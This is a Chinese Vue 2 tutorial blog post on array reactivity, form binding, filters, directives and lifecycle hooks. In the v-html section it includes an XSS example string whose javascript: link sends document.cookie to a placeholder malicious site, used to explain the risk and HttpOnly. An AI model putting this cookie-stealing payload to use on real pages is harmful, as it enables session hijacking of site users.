                // 通过 this.$set() 来设置属性
                this.$set(this.persons1,"sex","男")
            }
        }
    })
</script>

2. 数组操作

Vue对于data中的数组元素,并未创建对应的getter()和setter(),这就表示,当使用数组索引 (arr[0]) 来查询和修改数组中的元素时并不会被Vue监测到

Vue中对于数组的检测,并不是通过getter()和setter()来检测的,而是用数组的一些方法,如push(),pop(),shift(),unshift(),splice(),sort(),reverse()方法才会被Vue检测到

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons: [
                {id: 1, name: "马冬梅", age: 18},
                {id: 2, name: "周冬雨", age: 19},
                {id: 3, name: "周杰伦", age: 40},
                {id: 4, name: "王兆伦", age: 25},
            ],
        },
        methods: {
            addAttr() {
                // 使用索引修改元素,并不会被Vue监测到,从而刷新页面显示
                this.persons[0] = {id: 1, name: "马冬春", age: 22}
            }
        }
    })
</script>

需要通过上述数组方法来修改

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons: [
                {id: 1, name: "马冬梅", age: 18},
                {id: 2, name: "周冬雨", age: 19},
                {id: 3, name: "周杰伦", age: 40},
                {id: 4, name: "王兆伦", age: 25},
            ],
        },
        methods: {
            addAttr() {
                this.persons.splice(0,1,{id: 1, name: "马冬春", age: 22})
            }
        }
    })
</script>

那么Vue是如何检测到你执行了这些方法呢?

Vue对数组的push(),pop(),shift(),unshift(),splice(),sort(),reverse()方法,做了一层封装,并非是原数组的底层操作方法

如果想通过索引来修改数组,必须使用Vue.set(),或vm.$set()

<div id="app">
    <h1>更新时的问题</h1>
    <ul>
        <li v-for="(p,index) in persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul>
    <button @click="addAttr">添加性别到马冬梅</button>

</div>
<script>
    new Vue({
        el: "#app",
        data: {
            keyWord: "",
            sortType: 0,
            persons: [
                {id: 1, name: "马冬梅", age: 18},
                {id: 2, name: "周冬雨", age: 19},
                {id: 3, name: "周杰伦", age: 40},
                {id: 4, name: "王兆伦", age: 25},
            ],
        },
        methods: {
            addAttr() {
                // Vue.set(this.persons,0,{id: 1, name: "马冬春", age: 22})
                this.$set(this.persons,0,{id: 1, name: "马冬春", age: 22})
            }
        }
    })
</script>

14. 表单数据收集

1. input-text 文本输入框

<div>
	<label for="name">账号: </label>
    <!-- 通过指定v-model 来绑定用户输入 -->
	<input type="text" id="name" v-model="name">
</div>
<div>
    <label for="password">密码: </label>
    <!-- 通过指定v-model 来绑定用户输入 -->
    <input type="text" id="password" v-model="password">
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "",     // 用来接收用户输入的账号
            password: "", // 用来接收用户输入的密码
        },
    })
</script>

2. input-radio 单选框

<div>
    <span>性别:</span>
    <!-- 通过指定v-model 来绑定用户的选择,并且要给value值,来表示用户选的值是什么 -->
    <input type="radio" name="sex" v-model="sex" value="1">男  
    <input type="radio" name="sex" v-model="sex" value="0">女
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            sex: ""  // 用来接收用户选择的性别
            // sex: "1" // 可以通过指定sex:"1" 来指定页面打开就选择 男 选项
        },
    })
</script>

3. input-checkbox 多选框

<div>
    <span>爱好:</span>
    <!-- 通过指定v-model 来绑定用户的选择,并且要给value值,来表示用户选的值是什么 -->
    <input type="checkbox" name="hobby" v-model="hobby" value="1">抽烟
    <input type="checkbox" name="hobby" v-model="hobby" value="2">喝酒
    <input type="checkbox" name="hobby" v-model="hobby" value="3">烫头
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            hobby: [],  // checkbox只能使用 数组 来收集用户选择
        },
    })
</script>

4. select 下拉框

<div>
    <span>所属校区:</span>
    <!-- 通过指定v-model 来绑定用户的选择,并且要给option的value值,来表示用户选的值是什么 -->
    <select name="school" id="" v-model="school">
        <option value="0">请选择校区</option>
        <option value="1">北京</option>
        <option value="2">上海</option>
        <option value="3">重庆</option>
    </sele
</div>
        
<script>
    new Vue({
        el: "#app",
        data: {
            school: "",  // 用来接收用户选择的校区
            // school: "0"   // 可以通过指定school:"0" 来指定页面打开就选择 请选择校区 选项
        },
    })
</script>

5. textarea多行输入框

<div>
    <span>其他信息:</span>
    <textarea name="others" id="" cols="30" rows="10"></textarea>
</div>
        
<script>
    new Vue({
        el: "#app",
        data: {
            others:""   // 用来接收用户输入的其他信息
        },
    })
</script>

6. checkbox 是否勾选同意用户协议

<div>
    <input type="checkbox" v-model="is_ok">阅读并接受 <a href="http://www.baidu.com">《用户协议》</a>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            is_ok:false   // 表示是否勾选,可以给默认值为false 为刚开始不勾选
        },
    })
</script>

7. 禁用表单提交刷新页面的行为

<!-- 阻止标题提交后刷新页面的默认行为 -->
<form @submit.prevent="sendMsg">
</form>

8. 表单数据收集可以优化的点

1. 转成数值类型

vue对于用户的输入会被转成数值类型,如果输入的内容值有字符则不会再转换后面的字符,通常同时配合着input的type=nubmer 禁止用户输入除数字外的字符,如下

<input type="number" id="password" v-model.number="password">

2. 惰性收集

vue对于用户的输入会在表掐失去焦点的一瞬间收集全部输入,如下对于多行输入并不需要输入一个字符就收集一个字符

<textarea name="others" id="" cols="30" rows="10" v-model.lazy="others"></textarea>

3. 去掉前后空格

<textarea name="others" id="" cols="30" rows="10" v-model.trim="others"></textarea>

15. 过滤器

1. 时间戳格式化示例

使用第三方库 momentjs/dayjs 格式化时间

1.1 计算属性实现

<head>
    <!-- 导入dayjs 的cdn -->
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>

<body>
    <div id="app">
        <h3>
            {{ fmtTime }}
        </h3>
    </div>
</body>

<script>
    new Vue({
        el: "#app",
        data: {
            time: 1706777305095   // 时间戳
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        }

    })
</script>

1.2 自定义方法实现

<head>
    <!-- 导入dayjs 的cdn -->
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>

<body>
    <div id="app">
        <h3>
            {{ getFmtTime() }}
        </h3>
    </div>
</body>

<script>
    new Vue({
        el: "#app",
        data: {
            time: 1706777305095   // 时间戳
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        }
    })

1.3 局部过滤器实现

<head>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>

<div id="app">
    <h3>{{time | timeFormater}}</h3>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            time: 1706777305095
        },
        // 局部过滤器,只有当前 vue 实例中才能使用
        filters:{
            timeFormater(value){
                return dayjs(value).format('YYYY-MM-DD HH:mm:ss')
            }
        }
    })
</script>

2. 带参数的嵌套过滤器

<head>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>

<div id="app">
    <!-- 'YYYY/MM/DD' 当做参数传到 timeFormater 方法中 -->
    <h3>{{time | timeFormater('YYYY/MM/DD')}}</h3>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            time: 1706777305095
        },
        // 局部过滤器,只有当前 vue 实例中才能使用
        filters:{
            // formatStr 为默认参数
            timeFormater(value,formatStr="YYYY-MM-DD HH:mm:ss"){
                return dayjs(value).format(formatStr)
            },
        }
    })
</script>

3. 局部嵌套过滤器

<head>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>

<div id="app">
    <!-- 需要加工的数据 | 过滤器1 | 过滤器2 -->
    <h3>{{time | timeFormater('YYYY/MM/DD') | endSlice}}</h3>
</div>

<script>
    new Vue({
        el: "#app",
        data: {
            time: 1706777305095
        },
        // 局部过滤器,只有当前 vue 实例中才能使用
        filters:{
            timeFormater(value,formatStr="YYYY-MM-DD HH:mm:ss"){
                return dayjs(value).format(formatStr)
            },
            endSlice(value){
                return value.slice(0,4)
            }
        }
    })
</script>

4. 全局过滤器定义

<script>
    
    // 注册全局过滤器
    Vue.filter('endSlice',function (value) {
        return value.slice(0,4)
    })
    
    // 注册第二个全局过滤器
    Vue.filter('endSlice2',function (value) {
        return value.slice(0,4)
    })
    
</script>

16. 内置指令

1. 前面学过的内置指令

1. v-bind

单项绑定解析表达式,可简写为 :xxx

2. v-model

双向数据绑定

3. v-for

遍历数组/对象/字符串

4. v-on

绑定事件监听,可简写为 @

5. v-if

条件渲染(动态控制节点是否存在)

6. v-else

条件渲染(动态控制节点是否存在)

7. v-show

条件渲染(动态控制节点是否展示出来)

2. v-text

向其所在标签插入文本

<body>
    <div id="app">
        <!-- 插值语法插入文本 -->
        <div> {{name}} </div>
        <!-- v-text插入文本,会将整个标签中的内容替换掉 -->
        <div v-text="name"></div>
    </div>
</body>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "<h3>小明</h3>"
        },
    })
</script>

3. v-html

<body>
    <div id="app">
        <!-- 插值语法插入文本 -->
        <div> {{name}} </div>
        <!-- v-html 插入文本,会将整个标签中的内容替换掉,可以解析标签 -->
        <div v-html="name"></div>
    </div>
</body>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "<h3>小明</h3>"
        },
    })
</script>

XSS攻击:关于v-html的安全问题:由于v-html是可以执行javascript代码的,所以示例代码中,会将当前浏览器中保存的cookie,上传到其他恶意网站的后台服务中,从而盗取我的身份信息,从而登录到对应的网站中进行操作

<body>
    <div id="app">
        <!-- 插值语法插入文本 -->
        <div> {{name}} </div>
        <!-- v-html 插入文本,会将整个标签中的内容替换掉,可以解析标签 -->
        <div v-html="cookie_str"></div>
    </div>
</body>

<script>
    new Vue({
        el: "#app",
        data: {
            name: "<h3>小明</h3>",
            // 获取到当前浏览器中保存着的所有没有标识为 HttpOnly 的cookie键值对
            cookie_str: "<a href=javascript:location.href:'http://恶意网站地址?'+document.cookie>点我</a>"
        },
    })
</script>

HttpOnly字段被勾选的cookie键值对,只有http请求才能拿到,其他的任何方式,包括js代码的方式都取不到

4. v-cloak

1. 页面闪现问题:

由于网络堵塞,先展现出插值语法的内容,然后过一段时间其他js引入完成后才被vue对象渲染成正常的内容

使用css样式控制 v-cloak 隐藏,当vue接管以后会自动显示内容,并删除v-cloak属性

<head>
	<style>
        [v-cloak]{
            display: none;
        }
    </style>
</head>

<body>
    <div>
    	<h2 v-cloak>
            {{ name }}
        </h2>
        <!-- 模拟网络延迟 5s -->
        <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    </div>
</body>

<script>
	new Vue({
        el: "#app",
        data: {
            name: "小明",
        },
    })
</script>

5. v-once (性能优化)

第一次渲染后,不再动态渲染当前节点,以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

<div id="app">
    <div>
        <!-- 由于绑定了v-once 这个标签的内容始终是0,即第一次渲染时的值 -->
        <div v-once>
            初始化的n值为: {{ n }}
        </div>
        <div>
            当前的n值为: {{ n }}
        </div>
    </div>
    <div>
        <button @click="n++">点我n+1</button>
    </div>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            n: 0
        },
    })
</script>

6. v-pre (性能优化)

跳过被 v-pre 绑定节点的编译过程,可利用它跳过没有使用指令语法,没有使用差值语法的节点,会加快编译,如下案例中的h1节点

<div id="app">
    <div>
        <h1 v-pre>
            今天天气真好啊
        </h1>
        <div>
            当前的n值为: {{ n }}
        </div>
    </div>
    <div>
        <button @click="n++">点我n+1</button>
    </div>
</div>
<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            n: 0
        },
    })
</script>

17. 自定义指令

1. 案例

案例1: 定义一个 v-big 指令,和v-text功能类似,但会把绑定的数值放大10倍,函数形式写法,相当于只定义了 bind 和 update 回调函数

<div id="app">
    <div>
        <div>
            当前的n值为: {{ n }}
        </div>
        <!-- 使用 v-big 指令 -->
        <div>放大10倍后的n值为: <span v-big="n"></span></div>
    </div>
    <div>
        <button @click="n++">点我n+1</button>
    </div>
</div>

<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            n: 1
        },
        directives: {
            // 自定义 v-big 指令
            // 参数1: 真实dom元素对象, 参数2: 对象
            // big函数什么时候调用?
            //      1. 指令与元素成功绑定时
            //      2. 指令所在的模板被重新解析时
            big(element,binding){
                element.innerText = binding.value * 10
            }
        }
    })

</script>

案例2: 定义一个 v-fbind 指令, 和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点,由于是要再一开始就获取焦点,所以上面的函数形式就无法实现这个功能了,因为v-fbind指令是在内存中执行了绑定焦点的函数,并没有放到页面中后再执行,所以不会生效

<div id="app">
    <div>
        <div>{{n}}</div>
        <input type="text" v-fbind="n">
        <button @click="n++">点我n+1</button>
    </div>
</div>

<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            n: 1
        },
        directives: {
            fbind:{
                // 指令与元素绑定成功时调用 bind 回调函数
                bind(element,binding){
                    element.value = binding.value
                },
                // 指令所在元素被插入页面时调用 inserted 回调函数
                inserted(element,binding){
                    element.focus()  // 获取焦点
                },
                // 指令所在的模版被重新解析时调用 update 回调函数
                update(element,binding){
                    element.value = binding.value
                }
            }
        }
    })


</script>

2. 注意的点

1. 指令名的问题,多个单词用 - 分割

<div id="app">
    <div>
        <div>{{n}}</div>
        <!-- 指令名,多个单词用 - 分割 -->
        <div> 放大10倍后: <span v-big-number="n"></span></div>
        <button @click="n++">点我n+1</button>
    </div>
</div>

<script type="text/javascript">
    const vue = new Vue({
        el: '#app',
        data: {
            n: 1
        },
        directives: {
            // 方法名用字符串
            "big-number"(element,binding){
                element.innerText = binding.value * 10
            }
        }
    })
</script>
</body>
</html>

2. 指令中的 this 都是 Window 对象 而不是 Vue 对象

3. 全局指令

上面对象中定义的指令都是局部指令,如何定义全局指令?

<script>
    
    // 注册第一个自定义指令
    Vue.directive('big',function (element,binding) {
        element.innerText = binding.value
    })
    
    // 注册第二个自定义指令
    Vue.directive('fbind',{
                // 指令与元素绑定成功时调用 bind 方法
                bind(element,binding){
                    element.value = binding.value
                },
                // 指令所在元素被插入页面时调用 inserted 方法
                inserted(element,binding){
                    element.focus()  // 获取焦点
                },
                // 指令所在的模版被重新解析时调用 update 方法
                update(element,binding){
                    element.value = binding.value
                }
            })
    
</script>

18. 生命周期(4对钩子函数)

0. 生命周期流程图示

1. mounted() -- 挂载完毕

Vue 完成模板的解析,并把初始的真实 Dom 元素放入页面后调用 mounted(),整个Vue的存活只调用一次

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
    <h1 :style="{opacity}" style="margin-left: 550px">你好,整个世界</h1>
</div>

</body>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#app',   // 指定当前Vue实例绑定哪个标签
        data: {      // 数据存储容器,供前面指定的el区域来使用
            opacity:1
        },
        mounted(){
            setInterval(()=>{
                this.opacity -= 0.01
                if (this.opacity<=0) this.opacity = 1
            },18)
        }
    })
</script>
</html>

2. beforDestroy() -- 销毁实例

当 vm.$destroy()时,会完全销毁一个实例,清理它和其他组件实例对象的连接,解绑它的全部指令和自定义事件监听器,在beforeDestory()时,能访问到data中定义的数据和methods中定义的方法,但是如果调用methods中定义的add(),由于销毁了vm实例,不会再执行beforeCreate()和created(),所以data中定义的数据已经变了,只是不会更新到页面上

3. $nextTick()

$nextTick() 指定的回调会在Dom元素更新完毕之后再执行,当数据改变后,要基于更新后的新DOM进行某些操作时,需要使用nextTick,在其指定的回调函数中执行这操作

案例在 Todo-List 的点击编辑按钮,出现input框,并自动获取焦点

4. 案例完善

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
    <h1 :style="{opacity}" style="margin-left: 550px">你好,整个世界</h1>
    <button @click="opacity = 1">点我透明度设置为1</button>
    <button @click="stop">点我停止</button>
    <button @click="clear">点我销毁</button>
</div>

</body>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#app',   // 指定当前Vue实例绑定哪个标签
        data: {      // 数据存储容器,供前面指定的el区域来使用
            opacity: 1
        },
        methods: {
            // 清除定时器
            stop() {
                clearInterval(this.timer)
            },
            // 销毁vm实例
            clear(){
                // 这里销毁了vm实例,但是并没有清除定时器,所以要在beforeDestroy()中清除定时器
                this.$destroy()
            }
        },
        // 开启定时器,不断地修改文字的透明度
        mounted() {
            // 将定时器ID定义为 vm实例的属性,在mounted()之后的整个生命周期中都能使用this.timer找到当前的定时器ID
            this.timer = setInterval(() => {
                console.log("setInterval")
                this.opacity -= 0.01
                if (this.opacity <= 0) this.opacity = 1
            }, 18)
        },
        // 在beforeDestroy()函数中清除定时器
        // 执行$destroy(),会自动执行beforeDestroy()和destroyed()
        beforeDestroy(){
            clearInterval(this.timer)
        }
    })
</script>
</html>
posted @ 2024-02-01 17:30  河图s  阅读(28)  评论(0)    收藏  举报